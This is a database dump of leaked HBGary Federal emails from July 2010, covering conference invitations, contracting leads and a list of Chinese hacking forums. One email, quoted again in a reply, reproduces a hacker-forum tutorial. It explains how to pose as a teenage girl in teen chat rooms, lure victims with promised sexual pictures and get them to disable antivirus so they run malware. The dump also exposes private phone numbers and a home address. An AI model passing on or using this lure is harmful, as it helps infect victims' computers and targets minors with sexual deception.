\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegistered PNL Guests:\r\n\r\n&nbsp;\r\n\r\nTomorrow night&#8217;s PNL with Vint Cerf was completely\r\nbooked within under two days of the original announcement and we have over 40\r\npeople on the waitlist.\r\n\r\n&nbsp;\r\n\r\nI hope to see you all at Palantir&#8217;s offices tomorrow\r\nevening, but if you have registered and realize now that you won&#8217;t be\r\nable to attend, please respond to this message and let me know. &nbsp;I want to\r\nbe sure that we are getting as many people into the event as possible.\r\n\r\n&nbsp;\r\n\r\nLet me know if you have any questions.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nTrae&#8217;\r\n\r\n&nbsp;\r\n\r\nTrae Stephens\r\nPalantir Technologies | Forward Deployed Engineer\r\ntstephens@palantirtech.com | 202.510.2587\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1220,'aaron_hbgary_com/1220.html'),(8436,'2010-07-12','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297006518.M174995P14101Q3291.eml','\"Aaron Barr\" <aaron@hbgary.com>','Possible RSA Conference 2011 CFP Submission -- Deadline Thurs. July 	15th','Hi Aaron, I was speaking with Greg this morning regarding his RSA conference 2011 CFP submission, and he thought you  might be interested in submitting your own talk for the conference on the topic of social networking. I wanted to send you the link to the CFP submission -- deadline is this Thursday, July 15th (it was the 9th but they extended it). http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n \r\nYou would need to submit your own CFP; they don&#39;t want third-party people making presenter submissions.\r\n \r\nLet us know if you are interested and, if so, please share your proposed topic abstract.\r\n \r\nThanks, Karen    \r\n',8603,'aaron_hbgary_com/8603.html'),(8437,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006518.M419934P14101Q3292.eml','\"Karen Burke\" <karenmaryburke@gmail.com>','Re: Possible RSA Conference 2011 CFP Submission -- Deadline Thurs. July  15th','Yes I am. &nbsp;I also submitted am abstract on threat intelligence already. &nbsp;Abstract to follow.AaronSent from my iPhoneOn Jul 12, 2010, at 2:13 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:Hi Aaron, I was speaking with Greg this morning regarding his RSA conference 2011 CFP submission, and he thought you&nbsp; might be interested in submitting your own talk for the conference on the topic of social networking. I wanted to send you the link to the CFP submission -- deadline is this Thursday, July 15th (it was the 9th but they extended it). http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n&nbsp;\r\nYou would need to submit your own CFP; they don\'t want third-party people making presenter submissions.\r\n&nbsp;\r\nLet us know if you are interested and, if so,&nbsp;please share your proposed topic abstract.\r\n&nbsp;\r\nThanks, Karen&nbsp;&nbsp;&nbsp;&nbsp;\r\n',10915,'aaron_hbgary_com/10915.html'),(8438,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006518.M669137P14101Q3293.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: BAE','FYI --An old friend, retired O6, now director at BAE.  We&#39;ll see if he can refer us / help with a lead.Ted---------- Forwarded message ----------\r\nFrom: Moore, Lance (US SSA) &lt;Lance.Moore@baesystems.com&gt;Date: Mon, Jul 12, 2010 at 12:33 PMSubject: RE: BAE\r\nTo: Ted Vera &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Ted,\r\n\r\n \r\n\r\nPlease pass on my best to CSM Foster.   All is well and we\r\nare continuing to drive on in new market areas.\r\n\r\n \r\n\r\nI will make some calls to see who is the inside man on Cyber\r\nand will get back to you.\r\n\r\n \r\n\r\nBest Regards,\r\n\r\nLance\r\n\r\n \r\n\r\n\r\n\r\nLance A. Moore\r\n\r\nDirector, National Guard, Reserves &amp;\r\nHomeland Security\r\n\r\nGlobal Tactical Systems\r\n\r\nSecurity &amp; Survivability\r\n\r\n \r\n\r\nBAE Systems\r\n\r\n1525\r\n  Wilson Blvd.\r\n\r\nSuite 700\r\n\r\n\r\nArlington, VA  22209\r\n\r\n\r\nPhone/Fax:  (703) 312-6989/7581\r\n\r\nMobile: \r\n(571) 435-5553\r\n\r\nlance.moore@baesystems.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 12, 2010 12:33\r\nPM\r\nTo: Moore,\r\n Lance (US\r\nSSA)\r\nSubject: BAE\r\n\r\n\r\n\r\n \r\n\r\nHi Lance,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTom Foster (CSM retired, remember him?) stopped by over the weekend and\r\nyour name came up.  He says hello, hope all is well.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLast week I met with BAE to discuss teaming on an upcoming Army\r\ncontract, Asteroid.  I&#39;m expecting an NDA from Robert &quot;Chris&quot;\r\nChisholm, the Capture Manager later this week.  Do you have any BAE\r\ncontacts in your neck of the woods that focus on Cyber?  Any introductions\r\nyou could provide would be appreciated.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWarm Regards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',1890,'aaron_hbgary_com/1890.html'),(8439,'2010-07-12','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297006518.M874320P14101Q3294.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Possible RSA Conference 2011 CFP Submission -- Deadline Thurs. 	July 15th','Great thanks Aaron. K\r\nOn Mon, Jul 12, 2010 at 11:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nYes I am.  I also submitted am abstract on threat intelligence already.  Abstract to follow.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Jul 12, 2010, at 2:13 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron, I was speaking with Greg this morning regarding his RSA conference 2011 CFP submission, and he thought you  might be interested in submitting your own talk for the conference on the topic of social networking. I wanted to send you the link to the CFP submission -- deadline is this Thursday, July 15th (it was the 9th but they extended it). http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n \r\nYou would need to submit your own CFP; they don&#39;t want third-party people making presenter submissions.\r\n \r\nLet us know if you are interested and, if so, please share your proposed topic abstract.\r\n \r\nThanks, Karen    \r\n',15189,'aaron_hbgary_com/15189.html'),(8440,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006519.M139858P14101Q3295.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','PSYOPS','It looks to me like we can&#39;t submit for this PSYOPS sources sought because they are only looking for 8a and HUBZone businesses at this time.  I guess they will still issue the full-and-open sources sought in September.  Take a look at the solicitation and let me know if you interpret it differently.\r\n-- Ted\r\n',11653,'aaron_hbgary_com/11653.html'),(8441,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006519.M447770P14101Q3296.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','You can\'t protect stupid','Night Hacker&nbsp;&nbsp;Learning Python 2.6Posts: 121Joined: Jun 2010&nbsp;Reputation:&nbsp;1&nbsp;Hi all I have decided to create a quick basic straight to the point TUT on a bit of Social Engineering, this is something that I use and it’s handy if you are using a free Public Crypter and it only leaves your server FUD for a small amount of time.Ok so first things first I go straight to a chat room such as 321.com so sign up with a good name e.g. Naughty Vicky get a good photo to use from MySpace of a nice looking chick save it to your computer, also remember to leave your msn your using in the profile you create so the victims can simply add you from there. So now go to the Teen chat you will get about 20-30 boxes pop up with questions such as ASL please now just copy and paste this …..They say ASL now just copy and paste it in each box you will have about 20 Victims asking you.Hey there 16 straight and naughty ive got some nice pictures add me it’s (put your email)Copy this above ^ into the 321 in each Victims chat box then wait tell they add you on your msnCopy and paste this into your victims msn chat from your fake msn when you have added them.Hey heres the pictures please don’t spread them though ok as don’t want the whole world seeing them ;) also you might need to take your crappy Antivirus off as msn picks up everything enjoy&nbsp;Remember as well don’t bother chatting to them for ages it’s pointless it only puts them off in the long run, my trick is to simply go from one to the next if they moan block them and move one. \"Try to sound as legit as possible” by adding smiley faces&nbsp;&nbsp;etc. If you do this you seem more like a chick and that is what you want \"Well that is pretty much what I use for sniping my victims this is just a simply basic TUT for any new members that might be finding it hard to spread servers etc...&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16436,'aaron_hbgary_com/16436.html'),(8442,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006519.M699888P14101Q3297.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: ISSA Reception at the Black Hat Briefings','You should renew with ISSA if you haven&#39;t already. Good networking opp. Begin forwarded message:From: &quot;ISSA Announcements&quot; &lt;announcements@issa.org&gt;\r\nDate: July 12, 2010 2:05:33 PM MDTTo: &lt;ISSA_Enews@lists.issa.org&gt;Subject: ISSA Reception at the Black Hat Briefings\r\n\r\n\r\n\r\n\r\n\r\n',14416,'aaron_hbgary_com/14416.html'),(8443,'2010-07-12','\"Steve Ritchey\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297006519.M991816P14101Q3298.eml','aaron@hbgary.com','Register Now: AFCEA Fall Intelligence Symposium','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n	\r\n		Dear Colleague:\r\n          &nbsp;\r\n          AFCEA&rsquo;s 29th annual Fall Intelligence Symposium will take place on October 13-14, 2010, in the National Reconnaissance Office (NRO), Chantilly, VA., and you are invited! &nbsp;\r\n          &nbsp;\r\n          The symposium is an official part of the year-long celebration of the NRO&rsquo;s 50th anniversary!\r\n          &nbsp;\r\n          Register Now! \r\n          &nbsp;\r\n          Background\r\n          In the past half-century, both the capabilities of space intelligence, surveillance and reconnaissance (ISR) assets and the needs of consumers have undergone dramatic change.&nbsp; The AFCEA Fall Intelligence Symposium will explore this evolution and the future of space reconnaissance.&nbsp; Speakers from a broad cross-section will highlight space reconnaissance contributions of the NRO, other government agencies, commercial space, and non-U.S. space.&nbsp; The agenda has been designed to help participants understand the changes in the strategic and operational environments in which space ISR will operate.&nbsp; Experts will discuss the role of space superiority in the context of the U.S. national security imperative.&nbsp; Finally, the program will address the needs and concerns of users, overseers, and producers of space assets and highlight where industry can help.\r\n          &nbsp;\r\n          During the symposium AFCEA will honor&nbsp;the recipient of the 2010 AFCEA Charlie Allen Award for Intelligence, Dr. Lawrence Gershwin, National Intelligence Officer for Science and Technology.&nbsp; In addition, a special posthumous lifetime achievement award will be presented to Mrs.&nbsp;Debby Fitzgerald on behalf of her late husband,&nbsp;Mr. Dennis Fitzgerald, former Principal Deputy Director of the National Reconnaissance Office.\r\n          &nbsp;\r\n          THE DIVERSE SPEAKER LINEUP FOR THIS CLASSIFIED EVENT IS REMARKABLE.&nbsp; For more information, including a detailed agenda, fees, directions, clearance procedures, and secure on-line registration, click here. \r\n          &nbsp;\r\n          QUESTIONS?&nbsp; Contact Emily Bourke at ebourke@afcea.org, or 800-336-4583, ext. 6219, or \r\n          703-631-6219.\r\n          &nbsp;\r\n          DOES YOUR COMPANY WANT TO HAVE A PRESENCE AT THIS EVENT?&nbsp; Contact Tina Vicioso at tvicioso@afcea.org or 800-336-4583, ext 6250 or 703-631-6250 for details about our sponsorship program.&nbsp; \r\n          &nbsp;\r\n          These events consistently sell out!&nbsp; If you are interested in attending, please register early!&nbsp; \r\n          Register Now\r\n          &nbsp;\r\n          Attendees must have a Top Secret clearance with SI/TK access.\r\n          &nbsp;\r\n          We look forward to seeing you at the 29th annual AFCEA Fall Intelligence Symposium in the NRO on October 13-14, 2010!\r\n          &nbsp;\r\n          Sincerely,\r\n          Steve Ritchey\r\n          Vice President for Intelligence\r\n          AFCEA International\r\n          www.intel.afcea.org\r\n          &nbsp;\r\n          \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n          \r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n\r\n		\r\n	  \r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7532,'aaron_hbgary_com/7532.html'),(8444,'2010-07-12','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006520.M871428P14101Q3299.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Solar','We now have a green office. 100% of our power is provided by a 30KW solar array on the roof. The landlord just had it connected to the grid today. Cool. \r\n\r\n',12353,'aaron_hbgary_com/12353.html'),(8445,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006521.M566173P14101Q3300.eml','\"Ted Vera\" <tedvera@me.com>','Re: Solar','thats awesome.\r\n\r\nOn Jul 12, 2010, at 4:47 PM, Ted Vera wrote:\r\n\r\n> We now have a green office. 100% of our power is provided by a 30KW solar array on the roof. The landlord just had it connected to the grid today. Cool. \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12634,'aaron_hbgary_com/12634.html'),(8446,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006521.M790489P14101Q3301.eml','\"Karen Burke\" <karenmaryburke@gmail.com>','Re: Possible RSA Conference 2011 CFP Submission -- Deadline Thurs.  July 15th','The following talk I already submitted. &nbsp;I will be submitting a social media one as well.Cybersecurity is an intelligence problem not an IT problemRecent intrusions such as the Aurora incident show that motivated attackers with time and resources can compromise highly secure networks.&nbsp; Protecting information from this new breed of adaptive adversaries requires moving past reacting or protecting against the vehicles of attack to understanding and identifying the humans or organizations that use them.Demonstrate the effective use of software and malware internals to provide better attribution of threatsDemonstrate the value of combining malware internals, network/C&amp;C, and open source information to provide valuable threat intelligence and indications and warning to protecting our information and IT resources. &nbsp;HBGary will draw on its vast experience analyzing malware to show how attackers leave clues to their identity in the tools that they create and by associating this information with network, open source, and historical attack information, we can begin to build more comprehensive threat intelligence and provide indications and warning of attacks.&nbsp; This talk will focus on real examples of malware, bringing together binary disassembly and human-centric data sets inside the Palantir platform to develop visual maps of threats, the speaker will show how small traces within malware when combined with other cyber related data can yield major insight into its authors intent, tactics-techniques-procedures (TTPs), affiliations, ultimately identify.On Jul 12, 2010, at 3:06 PM, Karen Burke wrote:Great thanks Aaron. K\r\nOn Mon, Jul 12, 2010 at 11:51 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nYes I am. &nbsp;I also submitted am abstract on threat intelligence already. &nbsp;Abstract to follow.\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Jul 12, 2010, at 2:13 PM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron, I was speaking with Greg this morning regarding his RSA conference 2011 CFP submission, and he thought you&nbsp; might be interested in submitting your own talk for the conference on the topic of social networking. I wanted to send you the link to the CFP submission -- deadline is this Thursday, July 15th (it was the 9th but they extended it). http://www.rsaconference.com/2011/usa/agenda/call-for-speakers.htm\r\n\r\n&nbsp;\r\nYou would need to submit your own CFP; they don\'t want third-party people making presenter submissions.\r\n&nbsp;\r\nLet us know if you are interested and, if so,&nbsp;please share your proposed topic abstract.\r\n&nbsp;\r\nThanks, Karen&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1781,'aaron_hbgary_com/1781.html'),(8447,'2010-07-12','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297006522.M333784P14101Q3303.eml','','RE: NANA - You\'re on the list of companies to consider','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve again used BCC.\r\n\r\n&nbsp;\r\n\r\nThere is very little change in our\r\nstaffing situation at this time. The current team is doing a good job of\r\nsatisfying the customer&#8217;s requirements.\r\n\r\n&nbsp;\r\n\r\nAt this time I don&#8217;t anticipate\r\nactivating the list within the next 30 days. I intend to send another update by\r\nthe middle of next month.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments to it are intended only for the\r\nidentified recipients. It may contain proprietary or otherwise legally\r\nprotected information of SAIC. Any unauthorized use or disclosure of this\r\ncommunication is strictly prohibited. If you have received this communication in\r\nerror, please notify the sender and delete or otherwise destroy the e-mail and\r\nall attachments immediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott\r\nW. \r\nSent: Wednesday, June 09, 2010\r\n5:27 PM\r\nSubject: NANA - You\'re on the list\r\nof companies to consider\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve used BCC on this note.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m sending this note as a follow-up to meetings or\r\ncorrespondence I&#8217;ve had with your company to reassure you that there\r\nreally is a list and your company is really on it.\r\n\r\n&nbsp;\r\n\r\nAt this time, our NANA team is doing a good job of\r\nsatisfying the customer&#8217;s requirements for staff.\r\n\r\n&nbsp;\r\n\r\nIt is a very dynamic environment and we&#8217;re committed\r\nto keeping the customer&#8217;s mission needs met. If our existing team is\r\nunable to fill a funded requisition in a reasonable amount of time, we&#8217;ll\r\nbe corresponding with your company to give you the opportunity to satisfy the\r\nneed and join the team.\r\n\r\n&nbsp;\r\n\r\nI intend to send an update to you around the middle of each\r\nmonth so you&#8217;ll know your company is still being considered for future\r\nstaffing needs.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3543,'aaron_hbgary_com/3543.html'),(8448,'2010-07-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006522.M574261P14101Q3304.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: You can\'t protect stupid','Thats fucking brilliant.\r\n-G\r\nOn Mon, Jul 12, 2010 at 12:17 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNight Hacker  \r\nLearning Python 2.6\r\n\r\n\r\nPosts: 121Joined: Jun 2010 Reputation: 1 \r\n\r\n\r\n\r\nHi all I have decided to create a quick basic straight to the point TUT on a bit of Social Engineering, this is something that I use and it’s handy if you are using a free Public Crypter and it only leaves your server FUD for a small amount of time.\r\nOk so first things first I go straight to a chat room such as 321.com so sign up with a good name e.g. Naughty Vicky get a good photo to use from MySpace of a nice looking chick save it to your computer, also remember to leave your msn your using in the profile you create so the victims can simply add you from there. So now go to the Teen chat you will get about 20-30 boxes pop up with questions such as ASL please now just copy and paste this …..\r\nThey say ASL now just copy and paste it in each box you will have about 20 Victims asking you.\r\nHey there 16 straight and naughty ive got some nice pictures add me it’s (put your email)Copy this above ^ into the 321 in each Victims chat box then wait tell they add you on your msn\r\nCopy and paste this into your victims msn chat from your fake msn when you have added them.\r\nHey heres the pictures please don’t spread them though ok as don’t want the whole world seeing them ;) also you might need to take your crappy Antivirus off as msn picks up everything enjoy \r\nRemember as well don’t bother chatting to them for ages it’s pointless it only puts them off in the long run, my trick is to simply go from one to the next if they moan block them and move one. &quot;Try to sound as legit as possible” by adding smiley faces  etc. If you do this you seem more like a chick and that is what you want &quot;\r\nWell that is pretty much what I use for sniping my victims this is just a simply basic TUT for any new members that might be finding it hard to spread servers etc... \r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',7853,'aaron_hbgary_com/7853.html'),(8449,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006522.M839055P14101Q3305.eml','\"Greg Hoglund\" <greg@hbgary.com>','Some China research','So the most prolific hacking training website in china was taken down just before the google attacks were made public, called black hawk safety net, which was hosted on 3800cc.com and 3800hk.com. &nbsp;Some articles written about it. &nbsp;The three leaders were arrested Li Qiang and Zhang Lei. &nbsp;They had offices in the Henan province city of Xuchang. &nbsp;This is very close to Wuhan province which is home ot the Communication Command Academy which, according to congressional testimony, trains chinese hackers.Question is where did everyone go?Another site I found that looks very well connected and its leaders are very prolific in the chinese hacking community:www.darkst.com-------Some random notes-------Search for inurl:.cn nspack (chinese packer)http://www.e666.cn/soft/down/soft_2836.htmlwww.greendown.cn/http://www.52pojie.cn/\"LiuXingPing\" - Searchhttp://www.migroom.com/hacksec/462.htmhttp://bbs.pediy.com/http://www.hookbase.com/http://www.darkst.com/	luckxiao	hmily – Hmily@52Crack.Cn\r\nQQ:68857640&nbsp;(TTPlayer) v5.7 Beta1 KillAD - Searchhttp://www.uzzf.com/http://bbs.52pojie.cn/thread-50145-1-1.htmlhttp://bbs.52crack.cn/thread-50145-9-1.html??,??,hacker\r\n- Searchhttp://www.cn-hack.cnhttp://www.hacker.com.cn/http://www.5566.net/http://www.wwdxt.com/http://www.hx99.org/??,?? – Search\r\n(means security, hacker)http://www.hackbase.com/http://www.05112.com/http://www.265.com/Heike_Anquan/\r\n- interesting hacksite list.http://www.yeshack.com/http://www.x3y3.org/ - site\r\nby guy also a moderator at darkst.comhttp://www.tr0jan.cnhttp://t00ls.net/http://www.2523.comhttp://darkst.3322.org/thread-64126-1-1.htmlhttp://www.heike.tw/ - Seems\r\nto be a good list of hacker sites.\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15121,'aaron_hbgary_com/15121.html'),(8450,'2010-07-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006522.M91022P14101Q3302.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Interesting Sole-source award','https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=14f23712a99a2c7bd4ba869593ab8077&amp;tab=core&amp;_cview=0\r\nThis notice is being publicized in accordance with Federal Acquisition Regulation (FAR) 5.101 requiring Contracting Officers to disseminate information for proposed contract actions expected to exceed $25,000. Further in accordance with FAR part 6.302-1, it is the intent of the Federal Bureau of Investigation (FBI) to make an award to Packet Forensics, LLC for the purchase of lawful capture hardware and software capabilities; the proposed purchase order is for supplies/services for which the government intends to solicit and negotiate only with Packet Forensics, LLC for which the company is the sole manufacturer and holds sole proprietary rights. The acquisition will be conducted under the test program described under the FAR subpart 13.5. The Government anticipates the award on a firm fixed price purchase order. The notice of intent is not a request for competitive quotation. A Request for Quotation (RFQ) is not available. The Contracts Officer for this procurement is Gary Hopkins. Closing date is July 16, 2010 at 11:00 AM Eastern Standard Time. All questions or comments should be sent to Jacob Gessel at Jacob.Gessel@IC.FBI.GOV .\r\n-- Ted \r\n\r\n',3036,'aaron_hbgary_com/3036.html'),(8451,'2010-07-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006526.M824332P14101Q3306.eml','\"Aaron Barr\" <aaron@hbgary.com>','here','hhere\r\n',15838,'aaron_hbgary_com/15838.html'),(8452,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006530.M575813P14101Q3307.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Burger Burn at HackerSpace','Begin forwarded message:From: &quot;Winterfeld, Steven P (TASC)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: July 12, 2010 6:01:28 PM MDTTo: &quot;JJ Cummings&quot; &lt;jcummings@sourcefire.com&gt;, &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;\r\nSubject: FW: Burger Burn at HackerSpace\r\n\r\n\r\n\r\nJJ / Ted\r\n\r\n \r\n\r\nPlease come and forward to\r\nanyone you know who might want to join.\r\n\r\n \r\n\r\nSteve \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Mann, Eric A (TASC)\r\n\r\nSent: Monday, July 12, 2010 9:41 AM\r\nTo: Johnson, Jason G (TASC); &#39;Jason Fowler&#39;; Noel, Devin (TASC);\r\nWinterfeld, Steven P (TASC)\r\nSubject: Burger Burn at HackerSpace\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nGents,\r\n\r\n \r\n\r\nWe are hosting a burger burn this Saturday (17 Jul 2010) at\r\nthe HackerSpace from 1300 to 1800.  Burgers will be provided but everyone\r\nis welcome to bring their own food (similar to Toxic BBQ).  Additionally,\r\nchips and all other side dishes are welcome.  This invitation is open to\r\nanyone who is interested in the hackerspace scene so please forward as\r\nnecessary.  For directions to the hackerspace check out www.munglabs.org.  Please RSVP so we\r\ncan get a headcount for the burgers.\r\n\r\n \r\n\r\nPlease contact me with any questions, we look forward to\r\nseeing everyone there!\r\n\r\n \r\n\r\nEric A. Mann, CISSP\r\n\r\nCyberWarrior Program\r\nManager\r\n\r\nTASC Inc.\r\n\r\n719.622.5656\r\n\r\n \r\n\r\n\r\n',11046,'aaron_hbgary_com/11046.html'),(8453,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006532.M733603P14101Q3308.eml','\"Greg Hoglund\" <greg@hbgary.com>','WoW Trojan?','http://translate.googleusercontent.com/translate_c?hl=en&sl=zh-CN&u=http://hi.baidu.com/dstsky/blog/item/552d7513fad600c7c3fd7816.html&prev=/search%3Fq%3DHacker%25E3%2581%25A5%26hl%3Den%26client%3Dsafari%26rls%3Den&rurl=translate.google.com&twu=1&usg=ALkJrhhyxTRiFHWyLAS8zJDQNytPUhGL_Q\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12616,'aaron_hbgary_com/12616.html'),(8454,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006533.M136233P14101Q3309.eml','\"Penny Leavy\" <penny@hbgary.com>','Address','1223 Potomac School Rd.\r\nMclean, VA 22101\r\n\r\nAbout what time?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',532,'aaron_hbgary_com/532.html'),(8455,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006533.M375865P14101Q3310.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: AD Server','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: July 12, 2010 7:17:35 PM MDTTo: Mark Trynor &lt;mark@hbgary.com&gt;Subject: Fwd: AD Server\r\nSweetBegin forwarded message:From: &quot;DeeAnn 